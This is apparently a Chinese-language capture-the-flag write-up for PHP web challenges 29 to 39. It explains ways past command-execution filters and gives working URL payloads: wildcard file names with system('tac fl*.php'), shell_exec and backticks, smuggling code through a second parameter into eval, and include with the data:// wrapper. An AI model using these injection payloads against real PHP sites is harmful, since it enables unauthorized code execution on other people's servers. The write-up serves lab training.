文章目录
- web 29——通配符*绕过
- web30——调用其他命令执行函数
- web 31——参数逃逸
- web 32-web 36——配合文件包含+伪协议
- web 37-web 39——文件包含
- web 40——
web 29——通配符*绕过
i
不区分大小写,直接?c=system('tac fl*.php');
web30——调用其他命令执行函数
调用其他代码执行函数,如shell_exec
,该函数需要输出。payload:?c=echo shell_exec('tac fl*');
。也可以使用反撇号代替shell_exec
web 31——参数逃逸
这里对c参数的过滤比较严谨,可以考虑将代码写到其他参数中。?c=eval($_GET[m]);&m=system('tac flag.php');
注意:
- payload不能这样写:
?c=eval($_GET[m];);&m=system('tac flag.php')
- 关于GET和POST传参参数写法,可以这样写
$_GET[1]
、$_GET[x]
、$_GET[cmd]
、$_GET["cmd"]
、$_GET{cmd}
,不能这样写$_GET['x']
。
web 32-web 36——配合文件包含+伪协议
payload:?c=include%0a$_GET[x]?>&x=data://text/plain,<?php system('ls');?>
%0a
作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)- 后面的
?>
的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>
前可以不写分号。 data
协议用法:data://text/plain,<?php [php代码 ]?>
web 37-web 39——文件包含
直接文件包含:c=data://text/plain,<?php system('tac f*')?>